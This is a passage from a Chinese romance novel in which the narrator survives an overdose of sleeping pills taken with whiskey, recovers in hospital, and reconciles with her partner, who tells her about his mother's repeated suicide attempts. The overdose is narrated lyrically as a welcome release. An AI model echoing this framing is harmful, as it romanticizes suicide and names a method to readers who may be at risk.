怎么会这样,我说不出来了。问题构不成遗言,遗言也不能包含问题。我想问为什么一枚巨大的灯泡看起来像皎洁的月光,为什么龌龊的手电筒能照出短暂的黎明,为什么我在这里,却快要消失了。 “我去找你。”他说。 我摇头,挣扎在缠枝破蕊之间,绝望地摇头。他看不见。 “别挂,我还没要你算账,”伊实再次奔跑起来,“我不是告诉过你哪也不许去吗?我不过是出去了一小会儿,你就跑没影了,下次是不是得在你脖子上挂牌,写上你的名字和我的电话号码,全城失物招领?别挂,听着,船靠岸之后在码头等我,记下这个号码,随时打给我……” 我挂了。他看不见。 我再也不能容忍越来越旺盛的虚假折磨我的五感,越来越膨胀的幻境糟践我的心脏。 到底有什么是真正属于我的,上天觉得我欲拒欢迎实则内心早已为其疯魔的样子是一出好戏吗?就为了看我痛不欲生的表情,肆意侮慢,无恶不作吗?到底有什么是真正属于我的! 没有人教我,所以我自学,同类之间能够心心相印,我以为靠吻,结果被证明是错的,后来以为靠宽容和性。爱,也被证明是错的,我知道了,靠卸下伪装和表露真心,降落什么就接住什么,命运会担保,结果呢?!无辜的病症被拿去玩弄,收到了严重偏题的怜悯,倾家荡产鼓起了勇气然而天平那端是几年前堆积的旧报纸。 够蠢,及时止损的办法只有一个,那就是停止等待,不再巴结第二天早晨的太阳。 首先,我需要闭上眼睛,放空大脑,对极了,神经细胞的不可逆损伤这时派上了用场,除了疼再也思考不了别的东西。 其次,把手伸到大腿之间,分担大脑的疼痛,用的是筋肉错乱的右手,钉死了就不会颤抖了。 然后,入睡,入睡,入睡…… 世纪漫长。 睡啊! 哭什么! 好,哭,我让你哭。来,和特罗姆瑟的第一束光问好,举杯,然后礼貌地说再见,毕竟你时日不多了,但你总算能毫无后顾之忧地睡个好觉。不必嫌食道太窄,水是万物之源,威士忌也是,别那么古板。如今的医药领域虽没让我眼前一亮,但也不会让我的期望落空,很快你就能睡着,恶心反胃这么点副作用难不倒你。 浑身乏力快要失去意识的那一刻,我竟然产生了一丝庆幸,至少还有自己能和我对话。 如果没有旁人插嘴,就更好了。 “啊!这个疯子!这个疯子!!手机,手机…… “伊实!我在特……对!求求你快过来,她吃了一整瓶安眠药!我不知道她什么时候吃的…… “我他妈怎么知道!你他妈昏头了吗养这么个玩意儿!!她还有呼吸!她还活着,你快来!” 聒噪的尖叫声印证了我身上有严重的急性传染病,手脚被捆得严严实实,动弹不得,魂魄早就飞到九霄云外了。 人生大圆满就在于将死的刹那心胸宽阔有容乃大,主人的身份还给外界,死者的身份交给自己。 不要了,不求了。行吗? “No.” 谁在回答? 蟒蛇一口气钻入我的食道,它的体温不陌生,粗暴的掠食勾起了我的记忆,紧接着是腹部猛烈破碎,内应外合使我像烤全羊一样翻滚。 有人狠狠地给了我一拳,五脏六腑挤压成团,我承受不了更多,乌泱泱吐了一地。 “醒醒,穆里斯,穆里斯……” 我掉进了水缸,水缸上面是扁担,扁担下面是肩膀。 “我能救你一次,就能救你第二次,无数次,听得见吗?你听得见,睁开眼睛,穆里斯,睁开眼睛……” 轮子压马路,警报和祷告编舞,自言自语乘坐磁悬浮列车。 “回家吧……醒来之后我们回家……” 第27章 第27章鸟会飞鱼会游我的命根子…… 医院的枕头只教会了我一句呓语:对不起。 两条腿的膝盖长出四条不对称的肥胖纹,模范刀刃不会只划一下,所以划了四下。在此之前血溅了一身,斑斑点点仿佛一场盛大的坠落。 医生诊断九岁的穆里斯有过敏性紫癜,开出住院证明,喂她吃激素药,这就是前后因果。 穆里斯的亲生父亲,那个企图把硕伟责任感和理想装进花花心肠的男人,陪伴了穆里斯整个住院期间。小病而已,他安慰道。九岁的穆里斯以为那是安慰。小病而已,他对电话里的妻子说道。十九岁的穆里斯听懂那是侥幸。 奇怪的穆里斯开始思考神秘的“应该”,永久地忽略了“不应该”。比如说,罪人无论受到什么惩罚都是应该。 奇怪的穆里斯……又活了。 我身体的某个器官被洗劫一空,导致口干舌燥,浑身充满污染又荒芜。生前从未尝试以毒弑体,不知半死不活竟有这样痛苦。卡在时空隧道里,外面是火葬场的炉子,先截肢再火花,隔着一层薄薄的纱,要命又不致死。 输液袋瘪得彻底,我的眼珠子转了 一圈,看见一颗趴在床边的后脑勺,于是动了动手指。 他猛地惊醒,一张苍白的脸冲进我的视野。 “醒了?感觉怎么样?嗯?看得见我吗?”他的眼角残留着困倦的褶皱,目光盘旋于我的脸色。我痛苦地牵扯了一下脸部肌肉,他的问号再次不断地涌现:“哪里不舒服?能讲话吗?要吐吗?” 我抬起食指,指向输液袋。 “Godshit!”他疾走去门口,大喊:“护士!护士!他妈的半夜一个护士都没有吗?!医生!” 护士带着病历夹和教训走过来,警告他再这样大呼小叫的话医院的保安不是吃素的。他置若罔闻,拧起眉头语无伦次地询问我的情况,手部做各种动作,一会儿指自己的脖子,一会儿摸我的肚子。护士劝他冷静,甚至闭上眼睛以防翻上去的白眼损害她的职业素养。 “先生,每年都有想不开去自杀的案例,我们见多不怪,而且很有经验,你更应该担心她会不会来第二次,我们当然不希望有第二次,”她顿了顿,扫了一眼他的身形,说:“尤其是你们。” 本就箭在弦上的男人一下子猩红了眼,按捺不住积蓄已久的愤怒:“是!我没看好她,所以这个没良心的家伙要给我点颜色瞧瞧!倒不如这么说吧,我杀了她,又救活她,你们对此也有经验?见多不怪,好一个见多不怪,一条命比你们院长的内裤还轻贱!想必业务已经很熟练了,在医院门口贴‘欢迎自杀者前来就诊’的海报,做得一手好生意!我说错了吗?!” 护士被他吼得节节败退,脸色铁青,骂了句粗鲁便快步离开了这里。 “粗鲁,把患者当木乃伊治疗的你们才粗鲁吧……”他意犹未尽地冲护士消失的方向小声嘀咕,转过身和我只开了一条缝的双眼对上,又说道:“你,等你能还嘴了我再骂。” 想起来了,他是伊实。 与此同时一起想起来的,还有心脏的钝痛。我打算睡一个回笼觉,有预谋地睡个回笼觉。但当我合上眼皮,听觉又更加清晰。回笼觉差点火候。 “是啊,趁月亮还在,多睡一会儿十分有必要。睡吧穆里斯,晚安。”他吻了吻我的额头,胡茬刮过我的眉骨,然后站直,在我所目睹的黑暗里目睹我的睡眠。 等我第二次醒过来,世界并没有发生我想象中那样翻天覆地的变化,比如小行星撞地球让病床突然变成垃圾场什么的,仅仅只是床边多了一张熟面孔。 布鲁克喜出望外地拍打伊实,高声传讯:“她醒了!” 我已经有了足够的体力支起身子,或者说蠕动更为形象。他们二人一左一右合力托举我坐起来,将米糊的香气递到我面前,要我填点肚子。 我不动摇。伊实只好暂且把米糊放一边,屈身问:“有何吩咐?” 我摊开掌心。被针扎过的小孔抽疼。 布鲁克:“什么?筷子?” 伊实把手机放在我的手心,甚至开好了翻译软件。 四个字敲了我一分钟。 「我要离开。」 布鲁克连连摇头,“你都没办法站起来走路啊孩子。” 翻译器不会有错,至少伊实听出来这句话的言下之意,因而神色沉沉。 “恐怕不能允许。” “放宽心,我联系到了信赖的医院,今晚我们坐船回罗弗敦,那有更好的待遇。”布鲁克残缺了两颗牙,但不影响他顾全大局。 我撇过脸,没有力气闹,但我可以选择不吃饭使得身体变得更没力气。米糊送到嘴边,不忍直视,我是说里头溃烂的爱意。 布鲁克拉开伊实,满嘴狸猫换太子的自信:“这是食物不是刑具!你打算用勺子撬开她的嘴还是什么!她讨厌你,我来。” 他用纸巾轻轻擦掉伊实在我嘴角上斗争留下的污渍,念念有词:“亲爱的,不要违背身体的本能,你需要补充点能量。” 我仍不张嘴,只冷冷地看着他。僵持没一会儿,布鲁克便悻悻放下胳膊,转而对伊实说:“她不喜欢吃这个,我去买点别的。” 伊实放任自己的朋友去做无用功,而他本人揣着明白装糊涂,系上温热的塑料袋,对我说:“不管你信不信,我预判到了迟早有这一天——” 我凝望窗外,一只海鸥飞来飞去。 “但我仍旧没法控制情绪。最早一班的快船买不到票,我擅自闯进去,被人拦下,吃了一嘴泥。” 他起身把窗帘拉上,用同样的伎俩擅自闯进我的视野。 “最后我还是赶上了。”他伸手拨开我的头发,“穆里斯,我赶上了。”然后,他问:“为什么要离开?” 因为——我张了张嘴,发现声带结了一层厚实的冰,需要用力挤压才有突破口。 “因为不想和有恋母情结的怪胎在一起。”我喑哑道。 他坐上病床,五指与我的手指打死结,发出不流畅的笑,“克洛伊有本领让每个人都受其蛊惑一回。” “她说的也没错吧。”我感受到他手心的黏稠,分明没有刀片,掌纹却渗出紧张的液体。 伊实凑过来吻我,我躲开那两瓣嘴唇,相当于亲手杀死一种语言。 他的叹息落在我的侧脸,像一条沮丧的平衡木,提心吊胆,颤抖和压抑。哺乳动物除了呜咽最能体现依恋的便是磨蹭,意味着当他克制又猛烈地嗅闻我的气味时,这里有块心房害怕误入假象而痛苦不已,和名为“妥协”的敌人拼杀个鱼死网破,烫出了一个洞。 他埋在我的肩头,声音沉闷:“你叫什么名字?穆里斯,你没告诉过我,所以我给你取了一个。穆里斯,我习惯这样称呼我见到的每一只陌生小猫。但以后我会叫它们Quoja,和你区分开来,就没有谁能认错了。 “嘿……你的衣服是我给你买的吧,前两天还的新床单是我专门为你订购的,冰箱里的冰淇淋有很多种口味,每周的外出活动我没有落下吧,家庭主妇的routine都是我在执行,你怎么不讲道理? “我妈怎么样我从来没有选择权,我吻你更不是因为你和她得了一样的病,恰恰相反,穆里斯,但凡缠上你的是精神分裂症或者狂犬病之类没和我打过招呼的疾病,我就得从零做起。” 脑子被卖给了杂货店,混乱且无从下手。我推开他,一绺头发被他的耳廓勾走,又轻轻打回我通红的眼眶。 “理由。”我哽住,“你没有理由吻我。” “理由,啊,我是没有。”他触摸我的眼角,恰好一滴泪珠落在他的大拇指,他接住,放进嘴里,说:“可是需要什么理由?鸟会飞鱼会游我的命根子天生对你想入非非,理由怎么的,达尔文死了那么久,我去哪里给你找。” 那双蓝眼睛同时被疲劳和不安挟持已久,此时微微泛着忧郁。他将我抱进怀里,明明我还什么都没说,他却自顾回应着:“嗯,好的,就如你期望的那样……” 我趴在他身上哭,悬梁刺股的抽水泵,越哭越勇。 谁要听你巧言令色了,你知不知道船上有多黑,威士忌有多辣,精神错乱的我一头撞在床板上一边和谁道歉一边说我要杀了你,我爱你啊,将爱偷渡到梦里,你知不知道睡眠将我拒之门外对我来说是一种死刑,我什么都做不好,我是个废人,没有主见还小心眼,鄙俗得只能靠做梦填补人生的价值,我再也不想见到你了,带着你的亲昵和拥护滚远点,我才不是商店里被你相中眼的纪念品,我宁愿不要墓碑,我再也不想见到你了……对不起,我想梦见的也是你。能停留在你接住我的瞬间就好了,往我的杯子里掺热牛奶的瞬间,嘲笑我的脆弱同时蹲下来背我的瞬间,替我出头捏碎梦魇的瞬间……你不要走了,哪儿也别去了,你要听我有多疼,听仔细了,我真的很疼,你打我 的那一拳,我会还给你的- 快船并没有我想象中那样快,坐在座位上,窗外的码头一点一点地往后移,雪山万变不离其宗地压在笨重的车轱辘上一点一点迁徙。我裹着毛毯,没穿鞋,穿了两层厚厚的袜子,连小腿也包裹住了,脚踩在隔壁乘客的大腿上,背靠着窗户,这个姿势能让我的胃舒服不少。 隔壁乘客没有意见,他从昨晚开始便有睡不完的觉,就算我把脚踩在他脸上,他也只会抓一抓塞兜里然后继续睡。隔壁乘客的隔壁乘客用手机拍下了这一幕,越过他给我看。 “Lookthis.”布鲁克酝酿着坏笑,“他还说没人能把他踩在脚下。” 我瞟了一眼,实在无法面对自己苍白虚弱的脸,就是因为这样丑,孟婆才不肯接纳我。 “嘿,布鲁克摩根,”我用手背轻搓脸颊,走上了拔苗助长的歪路,“把照片删掉。” “为什么?对了,这趟要三个半小时,你早上吃那么一点,不饿吗?”他问,把手机熄屏,放进羽绒服的内口袋,又从另一边拿出一包软面包,“再吃点?” 我摇头,作为公德地球人我不能再浪费粮食了。布鲁克昨天买了很多吃的送到病房,那会儿我刚擦完鼻涕,嘴巴哭得合不拢,颧骨僵硬,伊实趁此机会灌了很多勺米糊进我肚子里,“不”字压根没地儿钻。后来吃不下太多东西,布鲁克的好意全数留在了病房。 静悠之间我想起来一个人,于是问:“克洛伊哪儿去了?” 布鲁克摸摸鼻尖,说:“还在特罗姆瑟,她的牙医男友不要她了,她没处去。” 我说:“你其实很喜欢她。” 布鲁克抿嘴:“她太可怜了。” “你之前还叫我小心她——”我卡顿,立马话锋一转,“不过现在应该是她小心我了。”说完耸了耸肩。 “不,你不一样,你那是有个性,你……我是说,你,你很好……” 他半天想不出一个丰富的形容词,我补充道:“我也去放把火,说不定在你眼里才能有威慑力。” 布鲁克似乎从我的话里品出不一样的味道,两眼一眯:“你说话的方式和伊实越来越像了。” 就在这时,姓名仿佛触发了某种雷达,熟睡的人握住我的脚踝,抬眼迷迷糊糊地看了我一眼,迷迷糊糊地讲话,又迷迷糊糊闭上眼继续睡。 “……” 布鲁克沉默片刻后懊恼不已,手机就该一直对准伊实来个真人秀。 而我沉默是真愣住了。 他说的是, Great,youarestillhere. 第28章 第28章看来这个脾气你是非发不…… 公众场合不适合讨论这个话题,但我脑子一热,脱口就问了。 “伊实谈过多少女人?”我说,“当然也包括一夜情和酒后失态的情况。” 布鲁克:“他本人就在这,数据肯定比我知道的要可靠。” “说个大概就行,我会算比率。” “大概的话……”布鲁克沉思,颇为刻苦,结果却不理想,“大概不了,我太久没见过他从女人床上下来的模样了。” “哦。从他母亲离世之后?” “是的。” “之前呢?想想之前。” “之前他不是和克洛伊在一块儿嘛!”布鲁克本身就是个被时间玩弄的老糊涂,一旦触及回忆,说出来的故事就成了万花筒,“等等,克洛伊有段时间沉迷出轨,他那时候在做什么来着……整垮马森的俱乐部?还是……” 我替他叹口气,无奈道:“你只要想想他谈过多少女人就行了。” 布鲁克看向我,反问:“你想听到什么数字?” 我抿出一个笑:“你要替他打掩护?” “唔,我可不能坏了他的好事。”布鲁克坦白自己的理论:“说少了万一你认为他不够受欢迎,说多了万一你嫌他太风流。” 我点点头,没动很多感情,“那你谈过多少个女人?” 布鲁克没想到苗头对准了自己,虽措不及防但莫名松了一口气,大方分享:“数不胜数,我年轻时候比伊实还帅呢,不夸张的说,我的幽默感比我的样貌更出众,还会五国语言,报社专门派人来采访过我。” “真的?”我凝视着他憔悴的脸蛋。 “拜托,时代变啦,你要是看见我穿黑色马甲背心和紧身裤的样子,你也会赞不绝口。” “我怀疑的是‘数不胜数’那句,”我说,“你难不成是因为不会拒绝别人,所以才招来那么多桃花的吧?” “不不不不……”布鲁克连连否认,半天没下文。 “你就是。”我笃定。 一个两个都死要面子活受罪,自欺欺人到一定程度几乎等于解药。 “别人只是求求你,你就答应了,对吧?比如我现在求求你,等到了罗弗敦,找个时间偷偷把我送回特罗姆瑟,没别的要求,和安置克洛伊一样安置我就行,我只要求求你,你就能答应,对吧?”我绷起脚尖,伸过去戳了戳布鲁克膝盖。 布鲁克摇头,义正言辞地拒绝:“我没你想的那么好说话。” 我不依不挠:“克洛伊又是怎么说服你的?” “她……”布鲁克发现绕不开我设下的怪圈,皱起眉:“你好像很不满我对克洛伊的安排。” 我耸耸肩:“是啊。” 十分不满,可谓咬牙切齿,破坏我梦境的都不是好东西,就算她很美丽,也不能挥一挥衣袖就轻松烧掉我的幻想——好吧,我也在自欺欺人,事实上我很感谢那位美丽的女士,寒冷冬夜为我送上完美的冻疮,不然我那阴魂不散的病症还要长长久久地磨平我的棱角,不如索性一刀切来的痛快。 当然,这不是重点,重点在于,我彻底变成了傻瓜,就在一夜之间,昨天我还在呜哇呜哇地大哭,今天突然就忘记了人格二字该怎么写。微笑是蒙娜丽莎的微笑。凡事都要找个参照物。 布鲁克观察左边的人,向我这边微微倾身,悄声说:“老实跟你讲了吧,我没你想的那么好说话,我之所以会点头是因为克洛伊给了我一条翡翠项链,从哪儿来——”他的眼珠子往伊实的位置瞟了瞟,“他送的。说明什么?她要做个一刀两断。” 我直起腰,装作恍然大悟,而后模仿他的声调:“天呐,说明什么?”话锋一转,“说明你发家致富就缺这一条翡翠项链。” 布鲁克噎住,看的我都有些于心不忍,便将话题的方向拐了个弯。 “铺垫那么多,你以为我在不满的话就大错特错了。我只是好奇,为什么那么多女人里就只有克洛伊找上了门。” 天老爷,说出口的那一瞬间一股悲悯从头淋到脚,原来我这么渴望成为一个“特殊”的存在吗? 意外的是布鲁克在这个问题上表现的显而易见,毫不犹豫地给出了答案:“毕竟大多好聚好散,善始善终。” “你是说,世界上大多是懂得不纠缠,有自知之明的妓。女和嫖客。” 我怀疑道破天机要遭雷劈,懊恼应该说得再委婉些。 布鲁克一阵一阵笑:“不能说你理解错了。” 我想换个姿势,奈何脚腕无论如何也抽不出来,便盘了另一条腿在屁股下面,如果有尾巴的话我也不会沦落至此。 “既然你说克洛伊可怜,跟我说说有多可怜呗。” …… 虽不清楚布鲁克摩根是如何获取如今的财富地位,但我认为如果他绝处逢生当个江湖说书先生的话想必也能大赚一笔。他口中的克洛伊和我在船上遇见的克洛伊判若两人。 这个女人的美貌我已经反复提及许多遍了,用更多的形容堆砌只会是多此一举,更何况没有一种形容能真正描绘出她的美丽。听闻布鲁克的讲述,我进一步了解到她美得相当有理有据。 她的时尚品味来 自于三十平米的专属衣帽间,柔顺飘逸的金发来自于繁琐精贵的护理沙龙,哪怕这些都在她十五岁时化为乌有,她依然保持着结果中值得称道的部分。 克洛伊的父亲是个小有名气的经济犯,意思是坐了牢之后人们才发现他的商业版图竟然有那样广阔,才开始有了名气。布鲁克和她的父亲有过一回交易,他说自己离名气只差一厘米,新闻出来的那天他躲在家里洗了三回冷水澡。 克洛伊一点儿没遗传到父辈的低调和谨慎,要房子要首饰要男人张口就来,也没准这才是他们家族真正遗传下来的东西。改变是掩饰和心虚。她搬去密西西比州投靠远方亲戚后布鲁克再也没见过她,只有她来探望监狱里身材逐渐臃肿,头发逐渐发白的父亲时,他才会和这个女孩有短信和电话上的联系,谈话内容仅限于刑期还有多久。 高物欲的童年给克洛伊留下了高傲的性格,变卖房子和首饰的最后,她给自己留了一条质地细腻、做工精美的紫色睡裙,极致的高档货,她穿着它躺遍了密西西比的旅馆,也穿着它回到了加利福尼亚。 “她天生是块容易被盯上的好肉。” 布鲁克这样唏嘘道。她会骗人是因为也被别人骗。真正重逢的那天,他惊觉好几年前那个抱着博美犬的小克洛伊在社会的打磨下不可避免地染上了风俗的气味。 我把半张脸埋进毛毯下,直到鼻子暖和了才探出来。此时的布鲁克全然陷入回忆的浪潮,一说便停不下来了。 “伊实大学毕业第一年,没有稳定的工作,他也不急着找,成天给人改装跑车和摩托赚取生活费,后来和克洛伊交往,才有了第一份拳击教练的工作,再后来也不干了,这人闲不住,麻烦事缠身,只能晚上去酒吧一边看球一边喝酒来给自己找点乐子。顺便一提,我消停的那三年在酒吧当过酒保。”布鲁克咯咯笑。 “少来了资本家,那家酒吧最后还不是被你买下来了。”伊实何时醒来的没人察觉,他活动活动僵硬的肩颈,看了眼时间,说:“还有二十分钟,可以联系Charlie过来了。” Charlie是布鲁克的司机兼仆人,当然,这年头不好说是仆人,都称之为助理,干的事却大差不差。 布鲁克转过头去打电话,伊实伸出手背贴上我的脸颊,说:“还以为你发烧了呢。” 拔苗助长未尝不可行。 “你听到了多少啊?”我问。 伊实替我揶好毛毯,眼皮不抬一下,“我又没睡死。” “全都听到了?”我用力踩,毛毯里没有眼睛,谁也不知道我踩到了哪里。 伊实用眼神警告我,随后一把扯开刚整理好的毛毯。 “哦,不好意思。” 脚底板直冒火,我趴下身子找鞋。 “你肯定没听全,不然早就该急了。”我说。 睚眦必报的人会有清心寡欲的那一天?别开玩笑了。 伊实把杂乱的毛毯塞进背包,不留活口似的拉上拉链,“当然了,打颗臭弹,看看会不会有额外收获。” 在布鲁克联系好的医院里做完检查,医生说我没有住院的必要,其实我想说,如果只有苟延残喘的病人才有资格躺进病房的话,我理应拿到这本证书,你们只顾表面,看不见我在作死方面有多惊艳。 回到海边的小木屋,进门时地板上带有泥渍的脚印一下子勾起了我的回忆,带进来的雪融化成了水,水蒸发成了野外的空气,遥远的古时候我被勾魂摄魄,自作多情被剁得稀碎也是在这里。 明明剧情就发生在前天,却给我一种既没出息又不美观,相距甚远又阴魂不散的耻辱感。 是的,我只要活着,每分每秒都感到丢脸。 伊实划拉开地上的脚印,抱怨道:“最痛恨入室抢劫的罪犯了。” 地板更脏了,今天的泥覆盖了前天的泥,脏得与时俱进。我曾和伊实争辩过进门脱鞋的礼仪,争得不可开交,虽没有上升到大打出手的地步,但双方各自的语言也算拼了个你死我活,我用中文说,他用俄文说,各说各的,最后吵出国了也无从知晓。 不是我定的规矩,祖宗定的,我只是遵守,所以进门后我脱鞋了,伊实没脱。他永远不会猜到今天他把鞋子踩在那团污泥上面时我的心态发生了怎样的变化,觉得祖宗也就那样,会念几句紧箍咒就把自己当唐僧了而已。 于是我穿着拖鞋也上前划拉了两脚,一点点泥描不出一幅糖画,但足够使我遭一顿骂。 “你他妈的麻醉还没清醒吗?”伊实拎着拖把站在沙发旁边,荒唐地看着我,以及我脚上变色的灰色拖鞋。 “……” 垃圾桶迎来新客人。 医院不提供像样的棺材而在饮食建议方面费了诸多口舌,伊实找来一份海鲜粥配方,我坐在餐桌前给他打下手,剥青菜和清理生虾的肠道系统什么的,而且大有谋权篡位的趋势,因为他除了盯着那份配方看以外,没干出别的像样的事。 “和平时吃的一样就行了。”我劝道。 伊实严谨的目光从手机屏幕瞥到我脸上:“那你至少要变得和平时一样。” 我放下手头的活,走过去用他的短袖衣摆擦手,说:“反正你有的是经验不是吗?还是骗我的?” 如果我的言语不够有攻击性的话,那么生虾的排泄物肯定有了。 伊实果然生气了,低吼一声“shit”跑到水龙头下冲洗,湿了一大块衣角,两手一扬脱掉短袖,扔进水槽里,这场面是厨具商家前所未闻的,不然在改进洗碗机的时候他们会想到加入滚筒功能。 他靠在水槽旁,眼睛里射出强硬的视线,舔了舔后槽牙,赞赏我的胆魄而点头,说:“看来这个脾气你是非发不可了。” 第29章 第29章灭了这团火之后,我会把…… 海鲜粥历经千帆终究还是上了桌,就是里面的盐成分过于逞英雄,要给鲜虾一个贴近原生家庭的环境。拜托,它都死了,做样子给谁看。 伊实用完晚餐一声不吭去了仓库,罕见地没有拎着酒杯。天空一碧如洗,像被扒光羽毛的海鸟。我在落地窗前坐了一会儿,便起身去倒水。 从医院带回来的药放在冰箱顶上,那里是药的群居地,只因高度恰好是伊实抬起手而不费力的程度。对我来说就有点费劲了。 我站在椅子上堪堪和它们平起平坐,翻找今天刚开的药是哪一袋。第一次体会到老鼠的工作有多么眼花缭乱。 刨了半天我才意识到,我压根看不懂药名,就算拿在手上也认不出来。我突然泄了气,光罚站,和药物进行灵性上的对话:我是想一了百了,但是没了你我要额外遭受很多痛苦,行行好,自己滚到我面前来。 身后传来声响,我一回头就看到伊实气势汹汹地向这边走来,脑子一炸,连忙抬手解释道:“我没有,我只是在找……” 他没给我一秒解释的机会,半蹲,右手勒住我的大腿,托起我的臀部,脚尖一抬踹开椅子。我扶在他肩膀上,因椅子重重倒在地上而抖了三抖。 “……”难伺候的另有其人。 “找什么?说。”伊实的语气比法庭上的最高级法官还要大义凌然。 站在巨人的肩膀上的确看的更长远,我回答道:“医生下午说的那个。” 纸老虎只是看着凶罢了。伊实只不过刨的姿势比我酷,最后也是没找到。 “算了,你别吃了。”他放我下来,“都别吃了。” “?” 他把所有药都装进一个袋子里,叫我提着,随后打开从右往左数第二个橱柜,拿下两瓶酒,叫我抱着,自己一手两瓶,总共六瓶清空了那层橱柜。 不是火山爆发了要搬家逃亡了的话我想不出别的情况能让他这样。 “亏我还烧了一堆火,”伊实把我带到仓库,边走边说:“你倒好,背着我和冰箱喜结连理,别想着狡辩,这点暗示我看得懂。” 是的,医生让我注意保暖,他不会理解成放火上烤一烤能疏松筋骨吧? 仓库外有一口大锅, 不停冒出火星子,热浪淹出周围几米。事实没有这么夸张,只是我抱着酒瓶和药片站在这口锅前,脸庞被烘得毛孔张开,这对于一个体验过荒郊野林雪路徒步几小时的中国南方小孩来说,几乎等于回家。 “坐。” 伊实搬来两个小马扎,从我怀里抽出爱酒——即将不是了,一堆酒被随意摆放在地上,最烦酒里有无端气泡的人此时连冰块都不想了。 “扔进去。”他指挥道。 我不明其意,干睁着一双眼睛。 “把它们扔进去。”他重复道,眼神示意那堆药片。 火焰的原料是细木柴和干草,够烧,怎么也轮不到塑料片和化学成分浓缩物。踌躇的后果是遭受更凌厉的视线,我不如识时务为俊杰。 我一盒一盒地往里丢,宛若清明节烧纸,鼻尖和背脊已经雨纷纷。 伊实开了酒,仰头饮一口,低吐一声朦胧的告别,随后连瓶带酒抛进火堆里。 火舌卷起三尺高,印出伊实晦涩湿润的眼眸,碎玻璃在哭泣,叮叮当当余音绕梁,撕开浑厚的黑夜扮蓝色的鬼脸。 “你的表情在问我干嘛要这么做。”伊实又开了一瓶酒,喝一口,丢进去,“很明显,我在解决后患。” 气焰迸得更旺,饕餮巨兽般吞占这片雪地,和冰冷的纬度对抗。我说不出话来,嗓子烤得干哑,目光无法从他暖色的脸上移开,瞳孔瑟瑟发抖,但这并不是害怕,也不是寒冷,是隐隐作痛下的试图去理解。大脑和心脏有一个正遭遇蒙骗,永远无法达到完美的贴合。 “这算小题大做吗?我不觉得。”伊实垂眸望着那堆焚烧的嗜好,“有人他妈的从来不听进我的话,我还一直敲门简直是蠢事一桩。” 说的是我吧。失去了信任的能力,精神残疾,要他一次次卖身挽救。 “既然你介意那个女人的事情,我就一次性和你说开好了。手别停,杀人犯销毁作案工具是基本素养。”伊实不给予我片刻滞愣的机会。 “那个女人,对,也就是我的母亲,五年前在一个潮湿的街道开枪自杀,没有任何可靠的起因,就那样迅速地引来了警察。他杀案件的凶手可以是一个,但自杀案件的凶手绝对是一群。我说的没错吧,你恨透的人一定不在少数。 “她死过不止这一回,前十四次我都救回来了。我像一只落水的狗一样趴在她的腿边,求她别再犯傻,她也答应我做个好母亲,但只要那个男人脱下裤子她立马就会发疯。 “MarsonBrown不继续当歌剧演员真是可惜了,只要他想,一千个观众能同时掉进陷阱里。从何跟你讲起呢,对了,就从他怂恿我的母亲和他离婚,嫁给另一个年迈已高半截入土的政客讲起吧……” “她巴巴地上前给他的邪恶版图做棋子,听不懂人话,说这是爱,狗屁,她难道不清楚爱不是厌倦和精神控制?她拿过宗教和哲学的双学位,她清楚得再清楚不过了,所以疯得彻底。 “在她第十次自杀的时候我就知道她会死,她从三楼一跃而下,她对高度没有判断,但对死亡有定数,她不想活的决心无视了所有人而一意孤行。 “我,作为她唯一的子嗣,接受她的教育,传承她的批判,我的睡前故事是她的忏悔和自省,最后亲眼看见她的尸骨被枪管烫出一个血窟窿,那是她给我讲的最终章。 “所以,你以为我还想和Bipolar再续前缘?怜悯?怀念?或者,不甘心?FUCKOFF!” “Again,fuckoff.” “从海里把你捞上来之后我懒得管你,尤其你还报了个老熟人的名字,我想过不抓紧给你送进警察局的话就完了,那鬼东西谢幕后又返场了。但我他妈的没有,我他妈的扯淡,想给你找个游泳馆让你学会呼吸,睁开眼睛看看自己干的蠢事。 “我没什么自制力,你一有回应我就认命了。这是我的课题,不是你的,我被你吸引,然后和那鬼东西抢人,这是我的课题。现在也是一样,如果你还质疑我的初衷,对我有所鄙夷的话,灭了这团火之后,我会把你绑在床上,走些歪门邪道。” 第30章 第30章只是相信而已吗?我可是…… 刮来一阵龙卷风,排山倒海地袭卷我的心宅,将我举得高高的,由于过于强势,竟不含坠落的风险,饶是我想落,也落不下来。 这是什么? 他这股能量从何而来,不是掠夺而是入侵,不是摧毁而是占有,丝丝诚笃断断暴烈,收割枯木,沙漠拾荒,连城吹响号角。 到底是什么? 我源源不断涌起橙色的情绪,被包裹被出芽,被斜阳晒透的棉被。 “……” 手中已经没有更多的药物可以祭奠,在火堆里烧得一干二净。会不会一直以来我们都想错了,其实水才是刚,火才是柔,厌恶幌子的我其实一直在制造幌子,我在伪装哑巴的时候也在伪装聋子,自视清高地侮辱一切爱意。 最后一瓶酒碎在火堆里,玻璃碎片超过了枝木,火焰超过了我的头顶,慢慢缩下去,阑珊在无尽的等待当中。 我必须说点什么,必须说点什么。 “I……” 我…… 我很健康,不是哑巴也不是聋子。 “trust……” 相信…… 别再对理想反胃,胆小鬼,别再盼着逃跑了。 “you……” 你…… 我掩面哭泣,不是痛苦。烟雾散尽后眼前的场景催人泪下,没有失败的流星,一定有神明听见了我的许愿,赐给我一根翅膀羽毛。竟然有一天,我的眼睛里能流出感动的泪水。 伊实坐到我身旁,像时钟从六点转到十二点,像旅行者找到了木桩。我斜着身子靠过去,抽泣仍没从双手中脱离出来,旺盛,橙色的情绪太旺盛。 “没听清,再说一遍。”伊实抬起我的脸,用指腹抹去泪痕。 湿漉漉的难为情爬上我的眉头。伊实的侧脸像日落,他轻啄我的眼角,吻至嘴唇。 他明明听清了。只是享受拆礼物的过程。 “有点不公平,穆里斯。”若即若离的唇齿间响起他的声音,“只是相信而已吗?我可是在示爱。” 甘拜下风有甘拜下风的宣言,我抬起眼眸,说:“对我来说已经很不容易了。” “是吗……”他又吻进来,千军万马地讨要酬劳。 雪山体面地背过身去,焦灼的木头噼啪作响,威士忌白兰地朗姆酒牵出一缕残魂勾勒我的舌头。 他想告诉我的比我能听到的还要多,而我的食量不足以承受如此丰盛的狂风暴雨,以至于发出呻。吟,举手叫停。 “伊实,进屋吧。”我说。 或许是一种邀请,一种没有悔恨尾随的邀请,我的怀抱会是落落大方的怀抱,改过自新的觉悟洗去浮华,让我的胸膛变得透明。有勇气得简直不像我自己。 “不要。” “?” 伊实成功给来自东方的地鼠当头一棒。 他的手掌捏住我的膝盖,下巴朝火堆努了努,用一副染上情。欲的表情,挽留一团早已挥发殆尽的酒精。 酒精? “它们就这么走了。”落寞的语气全是舍不得。 “……” 果然不能轻易拿出衣柜里最亮眼的衣服,因为你不知道你遇到的是怎样的奇葩。我坐正位置,第六感提醒我现在离他越远越好。 